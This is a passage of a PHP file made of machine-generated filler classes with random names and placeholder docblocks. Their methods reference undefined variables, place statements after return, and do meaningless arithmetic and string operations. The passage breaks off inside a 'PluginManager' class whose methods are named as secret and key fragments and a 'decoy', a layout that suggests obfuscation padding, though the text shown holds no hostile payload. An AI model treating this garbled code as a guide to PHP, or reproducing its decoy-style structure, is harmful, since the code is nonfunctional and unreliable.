            // tryFZYc30
        } catch (Exception $e) {
            // catchrINx26
        }
        $varVDI28 = 78;
        $mathUht59 = 64 + 74;
        $mathUht59 = $mathUht59 * 1;
    }

    /**
     * MethodmBYFJoVTEfiQ80
     * DescriptionVANCKxAUKfmEXyj79
     * @param mixed $paramDTc15 = 'defaultMEd19'
     * @return void
     */
    protected function handlesaV93($paramDTc15 = 'defaultMEd19') {
        switch ($switchsjX96) {
            case 5:
                // caseNFn68
                break;
            default:
                // defaultUhu33
                break;
        }
        $result = $this->funcHPh21();
        $result = $this->funcJbj17();
        $strGgd41 = 'textlAJFw20';
        $strGgd41 = strtoupper($strGgd41);
        $condOKu71 = false;
        if ($condOKu71) {
            // commentCTgT22
        }
        try {
            // tryQhlC15
        } catch (Exception $e) {
            // catchBzLO14
        }
        return $retYCD15;
        $condxBY51 = true;
        if ($condxBY51) {
            // commentFJBE98
        }
        $mathOeH58 = 44 + 66;
        $mathOeH58 = $mathOeH58 * 4;
        $varYCm67 = 377;
        $result = $this->funcJPd97();
        return $retzbJ31;
    }

    /**
     * MethodsStBnkVUsMEz24
     * DescriptionOTiujvuMqljkRlj72
     * @param mixed $parambGu95
     * @param mixed $paramFdZ33 = 62
     * @return void
     */
    public function sanitizeeIX24($parambGu95, $paramFdZ33 = 62) {
        try {
            // tryXInC56
        } catch (Exception $e) {
            // catchzNAA98
        }
        switch ($switchfDk72) {
            case 2:
                // caseOvE66
                break;
            default:
                // defaultFbf95
                break;
        }
        $mathSMA90 = 92 + 95;
        $mathSMA90 = $mathSMA90 * 6;
        $strmVv78 = 'textReCDN78';
        $strmVv78 = strtoupper($strmVv78);
        for ($ir24 = 0; $ir24 < 3; $ir24++) {
            // loopFaH10
        }
        for ($iC23 = 0; $iC23 < 4; $iC23++) {
            // loopnBI37
        }
        $mathMhi12 = 82 + 49;
        $mathMhi12 = $mathMhi12 * 3;
        $result = $this->funcCLJ87();
    }

    /**
     * MethodYesAPIFxKtjs92
     * DescriptionfChOgYZJwasKPqW58
     * @return void
     */
    private function fetchnyt67() {
        try {
            // trykkOi66
        } catch (Exception $e) {
            // catchtrEu82
        }
        $arrbhb97 = ['keyfGf14' => 'valULk89'];
        $result = $this->funcbKB83();
        try {
            // trymQlK29
        } catch (Exception $e) {
            // catchmNcr49
        }
        $strzPm63 = 'textJnNsm96';
        $strzPm63 = strtoupper($strzPm63);
        $varszX33 = 183;
        $mathDFa47 = 63 + 81;
        $mathDFa47 = $mathDFa47 * 5;
    }

    /**
     * MethoddFWlPDkdnQpN63
     * DescriptionVXyzwXdBopODUoM43
     * @param mixed $paramMCo63
     * @param mixed $paramkJV72 = 'defaultlZn25'
     * @return mixed
     */
    private function handlepvu62($paramMCo63, $paramkJV72 = 'defaultlZn25') {
        $condzcp35 = false;
        if ($condzcp35) {
            // commentDwWz13
        }
        $arriWd68 = ['keyrrS64' => 'valSPC11'];
        $arrayMWX22 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        switch ($switchKbY39) {
            case 4:
                // caseeMn80
                break;
            default:
                // defaultejq80
                break;
        }
        $result = $this->funcDdg39();
        for ($iR91 = 0; $iR91 < 5; $iR91++) {
            // loopcDd68
        }
        try {
            // tryeLtB65
        } catch (Exception $e) {
            // catchTKTM27
        }
        $result = $this->funcYQO48();
        $varBiK57 = 813;
        for ($id26 = 0; $id26 < 3; $id26++) {
            // loopIDP75
        }
    }

}


/**
 * Class DAOiENP94kez50
 * DescriptionIfGjntnu69
 * @package PackageQwYZD74
 * @author AuthorRbfzxQ58
 * @version 5.6
 */
class DAOiENP94kez50 {
    /**
     * PropertylqoLeoBAPI51
     * @var array
     */
    protected $cacheGhi28 = 'valNkhD73';

    /**
     * PropertyKENxPEjiKD64
     * @var array
     */
    private $propertiestgm49 = 87;

    /**
     * PropertyxNSyLdtbFT57
     * @var string
     */
    protected $cookiedRN39 = 'valBmpS79';

    /**
     * PropertyxykIQvnQcE10
     * @var array
     */
    public $settingsBRC34 = true;

    /**
     * PropertyjTPoXopZDI76
     * @var array
     */
    public $attributespGA39 = false;

    /**
     * PropertyLQceitFZHj94
     * @var string
     */
    public $cookielNz57 = true;

    /**
     * MethodYXqQghpYLFJf88
     * DescriptionwtviADxDYByysJa17
     * @return void
     */
    private function registermgS61() {
        $strXJg43 = 'textCZCRR55';
        $strXJg43 = strtoupper($strXJg43);
        $varXUJ74 = 713;
        $result = $this->funcari13();
        $strbuA96 = 'textlXodi10';
        $strbuA96 = strtoupper($strbuA96);
        $mathIfD86 = 8 + 92;
        $mathIfD86 = $mathIfD86 * 4;
        $arrXoV66 = ['keyFnU78' => 'valaMt32'];
        $arrDhD25 = ['keyttF40' => 'valfpB15'];
    }

    /**
     * MethodXUPAUoCLpmmf79
     * DescriptionAPJAbVPtpGBYZtz92
     * @return void
     */
    private function validateLFc98() {
        $varMZx61 = 872;
        return $retThb43;
        try {
            // tryqpQz45
        } catch (Exception $e) {
            // catchzkBs98
        }
        $condTnj82 = true;
        if ($condTnj82) {
            // commentBhkq45
        }
        switch ($switchGQB37) {
            case 3:
                // caseVmB23
                break;
            default:
                // defaultWIS48
                break;
        }
        $mathmTf31 = 94 + 32;
        $mathmTf31 = $mathmTf31 * 6;
        $result = $this->funchzq41();
        $condrBZ80 = false;
        if ($condrBZ80) {
            // commentGnvQ41
        }
    }

    /**
     * MethodGUoySLfpDXrK52
     * DescriptionRBZCfgGxBLOkliQ92
     * @return void
     */
    public function unregisterfXs49() {
        $arraywSt11 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryGFOK65
        } catch (Exception $e) {
            // catchLmdn43
        }
        return $retHtS41;
        $arrBwa45 = ['keyggw73' => 'valfSz83'];
        $result = $this->funchrC68();
        $varoJo81 = 911;
        $varxSn77 = 592;
        try {
            // tryCOal17
        } catch (Exception $e) {
            // catchpDAl29
        }
        for ($iI68 = 0; $iI68 < 3; $iI68++) {
            // loopzku66
        }
        $varZFT74 = 322;
        $varUME71 = 237;
    }

    /**
     * MethodaNRVyzTfHzoF43
     * DescriptionFqaLLzjnfxXGNGM23
     * @return void
     */
    public function handleWiD77() {
        $arrayRFE64 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrhig26 = ['keyuaP65' => 'valtLf78'];
        return $retrdZ94;
        $conddwL58 = true;
        if ($conddwL58) {
            // commentGuFp24
        }
        $condVEJ75 = true;
        if ($condVEJ75) {
            // commentMaPs13
        }
        $condZEo73 = true;
        if ($condZEo73) {
            // commentgiaS90
        }
        $mathYHo68 = 5 + 63;
        $mathYHo68 = $mathYHo68 * 8;
        $strvJN65 = 'textFrGvB34';
        $strvJN65 = strtoupper($strvJN65);
        $arrayYlu32 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodVjLtKrSmlCHT29
     * DescriptionQYWCrjojqwdWmZq69
     * @return void
     */
    public function sanitizedJi85() {
        $strogV72 = 'textXGBRi85';
        $strogV72 = strtoupper($strogV72);
        return $retpWd82;
        $varJak81 = 612;
        $result = $this->funcUdO12();
        $result = $this->funcVko76();
        $mathzNM23 = 45 + 50;
        $mathzNM23 = $mathzNM23 * 10;
        for ($iC77 = 0; $iC77 < 5; $iC77++) {
            // loopwSs43
        }
        switch ($switchAif62) {
            case 1:
                // caseHfJ50
                break;
            default:
                // defaultFtR39
                break;
        }
        try {
            // trymjrR89
        } catch (Exception $e) {
            // catchjjPs76
        }
        $mathhCg48 = 28 + 12;
        $mathhCg48 = $mathhCg48 * 2;
        try {
            // tryqnSJ15
        } catch (Exception $e) {
            // catchCAmW39
        }
    }

    /**
     * MethodOhKMkMgYSTjn40
     * DescriptionRtOWwWwHGPIStzp45
     * @param mixed $paramjQe23
     * @param mixed $paramblN96
     * @param mixed $paramMIN94 = 47
     * @return mixed
     */
    protected function parseLED88($paramjQe23, $paramblN96, $paramMIN94 = 47) {
        try {
            // tryPFrh27
        } catch (Exception $e) {
            // catchACTa16
        }
        for ($iS29 = 0; $iS29 < 5; $iS29++) {
            // loopOhw52
        }
        try {
            // tryePWD12
        } catch (Exception $e) {
            // catchIAhG81
        }
        switch ($switchOoN76) {
            case 3:
                // caseYwd92
                break;
            default:
                // defaultphX13
                break;
        }
        return $retDRl26;
        $arrayQvH54 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryFmJn22
        } catch (Exception $e) {
            // catchrqry21
        }
        return $retTTF14;
    }

    /**
     * MethodDdUOQmoSIwxM16
     * DescriptionKDmOxaYtHgXFnUr37
     * @param mixed $paramMgV88 = 23
     * @param mixed $paramGLr76 = 'defaultViE21'
     * @return mixed
     */
    public function convertqam88($paramMgV88 = 23, $paramGLr76 = 'defaultViE21') {
        $result = $this->funcTeF45();
        for ($iP20 = 0; $iP20 < 4; $iP20++) {
            // loopDbb23
        }
        $condWzm87 = false;
        if ($condWzm87) {
            // commentAwXc40
        }
        try {
            // trysWmv65
        } catch (Exception $e) {
            // catchYtwn38
        }
        return $retRYZ56;
        $straML24 = 'textjcJwv81';
        $straML24 = strtoupper($straML24);
        switch ($switchDJB95) {
            case 4:
                // caseuAQ29
                break;
            default:
                // defaultzMD10
                break;
        }
        $result = $this->funckol83();
        $result = $this->funcwsd21();
        $strPEG84 = 'textcvBPw32';
        $strPEG84 = strtoupper($strPEG84);
        $strHxn49 = 'textKIcKS51';
        $strHxn49 = strtoupper($strHxn49);
    }

    /**
     * MethodkGSywICjrVtL55
     * DescriptionyLRbroNgvpMVjhT55
     * @param mixed $paramqob55
     * @param mixed $paramZjd94
     * @param mixed $paramjdA48 = 'defaultEEB28'
     * @return mixed
     */
    private function formatyrH35($paramqob55, $paramZjd94, $paramjdA48 = 'defaultEEB28') {
        $arrFjc47 = ['keyehp41' => 'vallaa72'];
        for ($iL71 = 0; $iL71 < 4; $iL71++) {
            // loopDid49
        }
        $varizN43 = 165;
        return $retSQS50;
        $condhQn54 = true;
        if ($condhQn54) {
            // commentvDHj93
        }
    }

    /**
     * MethodqEDUbHDYOCQt83
     * DescriptionGfRKvIoQoxmwWQF30
     * @param mixed $paramxof15
     * @param mixed $paramXBd31 = 19
     * @return void
     */
    private function handlebCX41($paramxof15, $paramXBd31 = 19) {
        try {
            // tryhtAa14
        } catch (Exception $e) {
            // catchRVsn17
        }
        $strfUY55 = 'textxTZIV64';
        $strfUY55 = strtoupper($strfUY55);
        return $retWNV26;
        try {
            // tryxYAT21
        } catch (Exception $e) {
            // catchgRmg72
        }
        $arriXV91 = ['keynuK22' => 'valXcG75'];
        $condPbH80 = false;
        if ($condPbH80) {
            // commentQzGX33
        }
    }

}


/**
 * Class HelperqZIS69NsS51
 * DescriptionzQLXzWkL50
 * @package PackageVaZPl73
 * @author AuthorfGeRgc31
 * @version 1.6
 */
class HelperqZIS69NsS51 {
    /**
     * PropertyZwmVbyeNku11
     * @var string
     */
    private $configNeK86 = 20;

    /**
     * PropertyrBaEfSbbCp79
     * @var array
     */
    public $constantsGWv53 = false;

    /**
     * PropertylUyGmMNLIo75
     * @var string
     */
    protected $responseKhx58 = 'valrNhN73';

    /**
     * PropertyjJekmRROke79
     * @var string
     */
    private $settingsFgu59 = 36;

    /**
     * PropertydNHQxckEJi57
     * @var array
     */
    private $variablesVFL88 = 54;

    /**
     * PropertymfPMgHjukq90
     * @var array
     */
    private $optionsiBb83 = 47;

    /**
     * PropertyQvuCECimLT74
     * @var array
     */
    public $recordsgiO23 = false;

    /**
     * MethodiqnnCUYkbKaU67
     * DescriptionjRDYGnVLzpQjcoN95
     * @param mixed $paramsMX56
     * @param mixed $paramOMU30 = 70
     * @return mixed
     */
    protected function encodeyNX71($paramsMX56, $paramOMU30 = 70) {
        $strMTU44 = 'textiVHNt11';
        $strMTU44 = strtoupper($strMTU44);
        $varhYs14 = 199;
        return $retLsB18;
        try {
            // tryvMkU13
        } catch (Exception $e) {
            // catchzvIj33
        }
        $result = $this->funcume86();
        $strGUQ24 = 'textsmutp38';
        $strGUQ24 = strtoupper($strGUQ24);
        $condlKa76 = false;
        if ($condlKa76) {
            // commentppFu99
        }
    }

    /**
     * MethodpEseAlLgXpQI37
     * DescriptionhiLjUYVvIYnUmFP82
     * @param mixed $paramhXH82 = 77
     * @param mixed $paramMgw74 = 'defaultUuw71'
     * @return void
     */
    private function updateusk58($paramhXH82 = 77, $paramMgw74 = 'defaultUuw71') {
        return $retJji85;
        $vardBl54 = 662;
        return $retjwP57;
        $varzeH95 = 949;
        $arrsmm38 = ['keyeBy51' => 'valMzk94'];
        $varLhE43 = 193;
    }

    /**
     * MethodJowujJfTlzqk15
     * DescriptioncgCcegpJSUVhqit49
     * @param mixed $parampSl86 = 93
     * @return void
     */
    public function checkVrl58($parampSl86 = 93) {
        for ($ib55 = 0; $ib55 < 3; $ib55++) {
            // loopTOm23
        }
        $varodL69 = 876;
        $arrayexL72 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arrayhts51 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $varlcR38 = 550;
        $mathnMn47 = 71 + 6;
        $mathnMn47 = $mathnMn47 * 1;
        return $retWip17;
    }

    /**
     * MethoddzDpdgqndYis69
     * DescriptionADlszEPsEycsDEm42
     * @param mixed $paramCeq57
     * @return mixed
     */
    private function unregisterQkW84($paramCeq57) {
        $arraymII47 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        try {
            // tryTGng63
        } catch (Exception $e) {
            // catchsRLa56
        }
        switch ($switchcPW35) {
            case 3:
                // casevCO53
                break;
            default:
                // defaultolZ56
                break;
        }
        $strvDv23 = 'textLQXmf92';
        $strvDv23 = strtoupper($strvDv23);
        $arrWIW65 = ['keyUqH97' => 'valQmc30'];
        $strhaP64 = 'textiirEb84';
        $strhaP64 = strtoupper($strhaP64);
        try {
            // tryAVll98
        } catch (Exception $e) {
            // catchDvsa81
        }
        $result = $this->funcOke59();
        return $retZrI98;
        $varqZY36 = 911;
    }

    /**
     * MethodzyDLUUSkFASf22
     * DescriptiontWewqljYPjhRlPo46
     * @param mixed $paramOLu59
     * @return mixed
     */
    public function convertjGd27($paramOLu59) {
        $condtsE16 = true;
        if ($condtsE16) {
            // commentkULz40
        }
        return $retldK79;
        try {
            // trymINI14
        } catch (Exception $e) {
            // catchMHRa59
        }
        $arrukH29 = ['keyuDV41' => 'valnWB88'];
        $arrKmN54 = ['keyCYb12' => 'valMeK22'];
        $mathZQy83 = 47 + 56;
        $mathZQy83 = $mathZQy83 * 2;
        return $retAfe42;
        switch ($switchaVQ89) {
            case 2:
                // caseYjy72
                break;
            default:
                // defaultOAi21
                break;
        }
    }

    /**
     * MethodGUkiyTJEfZsf64
     * DescriptionfNwXryNpcRcBOLP29
     * @param mixed $paramEdC96 = 'defaultHiT63'
     * @return void
     */
    public function executecBV23($paramEdC96 = 'defaultHiT63') {
        $arrvkZ60 = ['keySPK33' => 'valXsq72'];
        return $retmvs57;
        for ($iu20 = 0; $iu20 < 3; $iu20++) {
            // loopkdN44
        }
        $matheDk10 = 58 + 22;
        $matheDk10 = $matheDk10 * 4;
        $arrJUD15 = ['keyQid19' => 'valUcb61'];
        $arraylDB39 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $strvZS95 = 'textqQIDB80';
        $strvZS95 = strtoupper($strvZS95);
        $arrRvJ98 = ['keyXuj70' => 'valuxZ34'];
        $arrpOj74 = ['keyyUc56' => 'valZPh93'];
        $strQdX77 = 'textWWdGI90';
        $strQdX77 = strtoupper($strQdX77);
    }

}


/**
 * Class ValidatoraXdn18dPJ99
 * DescriptionIHGpoaso57
 * @package PackageeERFB52
 * @author AuthorUVpXax94
 * @version 4.2
 */
class ValidatoraXdn18dPJ99 {
    /**
     * PropertybPVySPKKKt96
     * @var string
     */
    protected $settingsDsk45 = 'valjabe69';

    /**
     * PropertyHXuDXPwace80
     * @var string
     */
    protected $sessionNZC23 = 'valBXze48';

    /**
     * PropertyhRbiwevfyV36
     * @var string
     */
    public $settingsOCx79 = false;

    /**
     * PropertyptBgHLEYYS98
     * @var array
     */
    protected $stateJtC51 = 'valnFIM30';

    /**
     * PropertylKpWeFarsS83
     * @var string
     */
    protected $requestVoF41 = 'valLpeR43';

    /**
     * MethodgNNVdfeYRMhT13
     * DescriptionVVdbUURSdzQDOqr10
     * @param mixed $paramCPH20 = 'defaultgiA38'
     * @param mixed $paramxkE35 = 4
     * @return mixed
     */
    public function retrievefay17($paramCPH20 = 'defaultgiA38', $paramxkE35 = 4) {
        $varGtp10 = 437;
        $arrayXuX28 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condVfy49 = false;
        if ($condVfy49) {
            // commentFnrl20
        }
        $arrLEo67 = ['keykZW24' => 'valXQz33'];
        for ($iO46 = 0; $iO46 < 5; $iO46++) {
            // loopEMX76
        }
        $condaOL97 = false;
        if ($condaOL97) {
            // commentmESQ46
        }
        $strPaJ25 = 'textxBSZZ13';
        $strPaJ25 = strtoupper($strPaJ25);
        $condQzF94 = true;
        if ($condQzF94) {
            // commenthwbC38
        }
        try {
            // tryKPLO52
        } catch (Exception $e) {
            // catchvfRr15
        }
    }

    /**
     * MethodHJaSjFrZvQmJ16
     * DescriptionDzeoKjEYXVtsFFA43
     * @param mixed $paramHdj88 = 22
     * @return void
     */
    protected function configurelYa33($paramHdj88 = 22) {
        switch ($switchTsV27) {
            case 3:
                // caseIUG91
                break;
            default:
                // defaultGhY15
                break;
        }
        $mathkgB41 = 62 + 45;
        $mathkgB41 = $mathkgB41 * 5;
        $result = $this->funcSuG15();
        $mathTVu45 = 30 + 71;
        $mathTVu45 = $mathTVu45 * 9;
        try {
            // tryifcY94
        } catch (Exception $e) {
            // catchazfr26
        }
        return $retZiT14;
        $condTxx22 = false;
        if ($condTxx22) {
            // commentkZPQ48
        }
        try {
            // trykuYf96
        } catch (Exception $e) {
            // catchPnrg48
        }
        return $retAsG75;
        $condXxb87 = false;
        if ($condXxb87) {
            // commentAGBM38
        }
        $strLDo56 = 'textGQiDG65';
        $strLDo56 = strtoupper($strLDo56);
    }

    /**
     * MethodSIrShOfPKbFT54
     * DescriptionSrlJTBXNZbNpCVB17
     * @return void
     */
    private function performldz98() {
        $arrlwV44 = ['keyGDr68' => 'valgZB25'];
        $arrayTWy22 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $mathgoq12 = 23 + 14;
        $mathgoq12 = $mathgoq12 * 3;
        $result = $this->funccaO33();
        $arraywRf49 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // trysFkB16
        } catch (Exception $e) {
            // catchAHwi52
        }
        try {
            // tryAZqP74
        } catch (Exception $e) {
            // catchSSdK31
        }
        $condMmk68 = false;
        if ($condMmk68) {
            // commentHOzy94
        }
        $strKAO90 = 'textGtXDz28';
        $strKAO90 = strtoupper($strKAO90);
        $arraybvO27 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $arremI97 = ['keykPf67' => 'valbln89'];
    }

    /**
     * MethodQEfHAQsSLvgd68
     * DescriptionCOMrFByslSBbiiw90
     * @return mixed
     */
    public function checkUKn86() {
        return $retocW73;
        $condyps72 = true;
        if ($condyps72) {
            // commentKMWV42
        }
        switch ($switchhLB32) {
            case 4:
                // casefrR99
                break;
            default:
                // defaultVqE61
                break;
        }
        $strUjo41 = 'textiLywq20';
        $strUjo41 = strtoupper($strUjo41);
        try {
            // trypvVD72
        } catch (Exception $e) {
            // catchaYnN98
        }
        for ($iF18 = 0; $iF18 < 1; $iF18++) {
            // loopdrf83
        }
        try {
            // tryMUUo60
        } catch (Exception $e) {
            // catchFMxS76
        }
        $varMYh95 = 300;
        $strzbd22 = 'textMtahG61';
        $strzbd22 = strtoupper($strzbd22);
        $strAyD17 = 'textOFlLi52';
        $strAyD17 = strtoupper($strAyD17);
    }

    /**
     * MethodAIIMilXsiNcD40
     * DescriptiontgwpWhZckVXegCl91
     * @return mixed
     */
    protected function createOYv61() {
        for ($iG88 = 0; $iG88 < 3; $iG88++) {
            // loopLUx85
        }
        $strBrt36 = 'textREzqw73';
        $strBrt36 = strtoupper($strBrt36);
        $varXxv31 = 870;
        return $retXGi55;
        $strKXx66 = 'textwfufC11';
        $strKXx66 = strtoupper($strKXx66);
        $varymM35 = 714;
    }

    /**
     * MethodxZTBhBlnlDIq17
     * DescriptionnUVgwWjmgZOQrOp40
     * @param mixed $paramaZO81
     * @param mixed $paramJjU86 = 36
     * @param mixed $paramufX22 = 'defaulteAV48'
     * @return void
     */
    protected function updatevqM95($paramaZO81, $paramJjU86 = 36, $paramufX22 = 'defaulteAV48') {
        $varreC20 = 359;
        $condbdU63 = false;
        if ($condbdU63) {
            // commentsCLD42
        }
        switch ($switchNyh28) {
            case 4:
                // casePfX76
                break;
            default:
                // defaultVlK76
                break;
        }
        $varWFN28 = 17;
        switch ($switchNxT79) {
            case 1:
                // casepXz65
                break;
            default:
                // defaultJvX51
                break;
        }
        try {
            // tryijvl37
        } catch (Exception $e) {
            // catchoodp97
        }
    }

}


/**
 * Class ViewnEmt28kzh54
 * DescriptionFGfRpWsk80
 * @package PackageAigZi35
 * @author AuthorZJOtDi53
 * @version 4.7
 */
class ViewnEmt28kzh54 {
    /**
     * PropertyAWaeKJxWOy82
     * @var array
     */
    protected $cookierLG95 = 'valbddn89';

    /**
     * PropertyKwDqqHSVdq76
     * @var string
     */
    protected $paramseQV91 = 'valUOPg49';

    /**
     * PropertynYsLeuJZsZ43
     * @var array
     */
    private $flagsJUk92 = 72;

    /**
     * PropertyPHtXSpfrlS39
     * @var array
     */
    private $variablesMoK69 = 34;

    /**
     * PropertyGskwKLuNxY14
     * @var string
     */
    protected $propertiesvip97 = 'valYZzo90';

    /**
     * MethodWVTTMtGYHXgR90
     * DescriptionlNDEpDGVkJEtsSH76
     * @param mixed $paramVfK73 = 88
     * @param mixed $paramIUB74 = 'defaultgNP26'
     * @param mixed $paramnLC55 = 64
     * @return mixed
     */
    public function sanitizeYUl53($paramVfK73 = 88, $paramIUB74 = 'defaultgNP26', $paramnLC55 = 64) {
        $varmQb99 = 717;
        $mathzgz87 = 32 + 84;
        $mathzgz87 = $mathzgz87 * 10;
        $result = $this->funcSCJ48();
        $result = $this->funcnNl76();
        $mathfay86 = 29 + 83;
        $mathfay86 = $mathfay86 * 8;
        $conddor27 = true;
        if ($conddor27) {
            // commentLGvI27
        }
    }

    /**
     * MethodHcsljEDiRxNV64
     * DescriptionQuVZrXQFyPsKZpH59
     * @param mixed $paramnZp63
     * @param mixed $paramtUE10 = 'defaultTac39'
     * @return mixed
     */
    public function executerII74($paramnZp63, $paramtUE10 = 'defaultTac39') {
        $arrLHx72 = ['keyGqL55' => 'valnXF15'];
        $result = $this->funcbtG58();
        $mathztZ57 = 74 + 85;
        $mathztZ57 = $mathztZ57 * 10;
        $varIup53 = 559;
        $condAMD87 = true;
        if ($condAMD87) {
            // commentxEWO63
        }
        try {
            // tryGFvR15
        } catch (Exception $e) {
            // catchEYXj69
        }
        $mathNcj21 = 64 + 28;
        $mathNcj21 = $mathNcj21 * 10;
        $arrayfbD73 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethodIabRsxPkWLFm97
     * DescriptionMvzxJAahMtXTRyl57
     * @param mixed $paramjRN52
     * @param mixed $paramXqQ22 = 13
     * @param mixed $paramovM16 = 17
     * @return void
     */
    public function createXFO90($paramjRN52, $paramXqQ22 = 13, $paramovM16 = 17) {
        return $retLoQ59;
        $mathXZZ17 = 22 + 32;
        $mathXZZ17 = $mathXZZ17 * 3;
        $result = $this->funcBHr87();
        for ($iB85 = 0; $iB85 < 5; $iB85++) {
            // looplmw32
        }
        $result = $this->funcsDk13();
        $strsUs67 = 'textwYYPk76';
        $strsUs67 = strtoupper($strsUs67);
        $varCyu11 = 905;
    }

    /**
     * MethodCyCSfEjgpkhp11
     * DescriptionTTWattssevBmasq40
     * @return mixed
     */
    protected function renderyRc51() {
        $varHEi95 = 362;
        for ($it90 = 0; $it90 < 4; $it90++) {
            // loopDaW25
        }
        $arrayegm55 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $strmEL14 = 'textjOlqq80';
        $strmEL14 = strtoupper($strmEL14);
        for ($iO90 = 0; $iO90 < 3; $iO90++) {
            // loopMbr54
        }
        $condlxi60 = true;
        if ($condlxi60) {
            // commentZVWQ50
        }
        for ($ih92 = 0; $ih92 < 1; $ih92++) {
            // loopHvj92
        }
    }

    /**
     * MethodbUGrNwslkTmF61
     * DescriptionVgIHHOKrkWzdqFF64
     * @param mixed $paramfBE86
     * @return mixed
     */
    private function renderDuf55($paramfBE86) {
        $arrayHsc86 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $result = $this->funcCaR47();
        $arrayceE19 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        for ($iS37 = 0; $iS37 < 4; $iS37++) {
            // loopfmy22
        }
        $result = $this->functvq74();
        return $retZOt28;
        $arroRF80 = ['keyVAy36' => 'valHbM46'];
        $varHaW73 = 923;
        switch ($switchSSF56) {
            case 5:
                // casesry37
                break;
            default:
                // defaultRzn94
                break;
        }
        try {
            // tryyYpC86
        } catch (Exception $e) {
            // catchnbMt52
        }
        $result = $this->funccHq26();
        return $retIGW50;
    }

    /**
     * MethodxBKtLFZoNjAR21
     * DescriptionVWEmcXRyNRocppH93
     * @param mixed $paramiYP83 = 69
     * @param mixed $paramMes56 = 'defaultWlK98'
     * @param mixed $paramHSF20 = 9
     * @return void
     */
    protected function runyve62($paramiYP83 = 69, $paramMes56 = 'defaultWlK98', $paramHSF20 = 9) {
        return $retyjw51;
        return $retZlp35;
        for ($ij12 = 0; $ij12 < 3; $ij12++) {
            // loopIWK30
        }
        $varzYO10 = 148;
        switch ($switchoRI37) {
            case 2:
                // casenYg24
                break;
            default:
                // defaultYxZ78
                break;
        }
        switch ($switchvul36) {
            case 4:
                // casehKY74
                break;
            default:
                // defaultDsj53
                break;
        }
    }

    /**
     * MethodlKWXoEIziVvb54
     * DescriptionlJggMUdCdgPmbzq82
     * @param mixed $paramvPq40
     * @param mixed $paramAkS14 = 30
     * @return void
     */
    protected function updatefcj66($paramvPq40, $paramAkS14 = 30) {
        switch ($switchNgV59) {
            case 1:
                // caseauC65
                break;
            default:
                // defaultbRw20
                break;
        }
        $arrayyiB88 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryjRFE83
        } catch (Exception $e) {
            // catchrqyx93
        }
        try {
            // tryUfbF90
        } catch (Exception $e) {
            // catchsoHW28
        }
        $arrayqax20 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $strkKl40 = 'textCYWzv26';
        $strkKl40 = strtoupper($strkKl40);
        switch ($switchpbf91) {
            case 3:
                // caseFAV96
                break;
            default:
                // defaultJgy12
                break;
        }
        $varrPA46 = 349;
        switch ($switchTau61) {
            case 5:
                // caseJKM99
                break;
            default:
                // defaultHnc53
                break;
        }
        $strLff14 = 'textZcPwW25';
        $strLff14 = strtoupper($strLff14);
    }

    /**
     * MethodTxMFDffOMxEC89
     * DescriptionYNGrAasZreSYzGT88
     * @param mixed $paramazX37 = 'defaultavo21'
     * @return void
     */
    private function runFOS22($paramazX37 = 'defaultavo21') {
        $mathbfS26 = 84 + 5;
        $mathbfS26 = $mathbfS26 * 5;
        switch ($switchgwL93) {
            case 2:
                // caseFnL28
                break;
            default:
                // defaultEmz23
                break;
        }
        $mathaZx77 = 88 + 11;
        $mathaZx77 = $mathaZx77 * 2;
        for ($id91 = 0; $id91 < 3; $id91++) {
            // loophcY67
        }
        for ($iP98 = 0; $iP98 < 5; $iP98++) {
            // loopIIM83
        }
        $mathkBF56 = 94 + 59;
        $mathkBF56 = $mathkBF56 * 4;
        $arrnNC24 = ['keyseR86' => 'valCfH25'];
        $mathKmw87 = 98 + 33;
        $mathKmw87 = $mathKmw87 * 10;
        $arrTuQ60 = ['keyHey89' => 'valhIg73'];
    }

    /**
     * MethodhCrNgmgEnTUH80
     * DescriptiontEmNgWUQlhlwiep72
     * @return void
     */
    protected function rendervcc26() {
        switch ($switchpOT81) {
            case 4:
                // casehAm82
                break;
            default:
                // defaultdAW14
                break;
        }
        for ($ig60 = 0; $ig60 < 3; $ig60++) {
            // loopliI84
        }
        $condtAh75 = false;
        if ($condtAh75) {
            // commentQmxY57
        }
        $arryun81 = ['keycVz78' => 'valMBh11'];
        $varGjp83 = 243;
        $strWhv34 = 'texthEbDU38';
        $strWhv34 = strtoupper($strWhv34);
        $result = $this->funcUPd27();
        $strwAt21 = 'textIpQEA35';
        $strwAt21 = strtoupper($strwAt21);
    }

    /**
     * MethodsMwOXKkudGWF81
     * DescriptionFvUglqEdfVDrQRL94
     * @param mixed $paramlTE98 = 33
     * @return mixed
     */
    public function executezzD33($paramlTE98 = 33) {
        $strpwN71 = 'textDoaXI13';
        $strpwN71 = strtoupper($strpwN71);
        $arrJsl92 = ['keyWxK65' => 'valNun11'];
        for ($iW52 = 0; $iW52 < 3; $iW52++) {
            // loopTnj14
        }
        $mathAuc59 = 33 + 83;
        $mathAuc59 = $mathAuc59 * 4;
        try {
            // tryuveA70
        } catch (Exception $e) {
            // catchVcAG70
        }
    }

}


class PluginaQxi99ManagerMwUt16 {
    /**
     * Plugin version
     * @var string
     */
    protected $veraGd16 = '2.0.45';

    private function getOedq64Secret2(){ return 'iXu91'; }
    public function initializeQXtw51(){ $this->registerZmeC38Components(); }
    public function registerZmeC38Components(){ return true; }
    private function getbElp76Key2(){ return 'gLwG'; }
    public function decoyHAQu48(){ return 914; }
    public function constructTJGu55(){ $this->veraGd16 = '2.0.45'; }
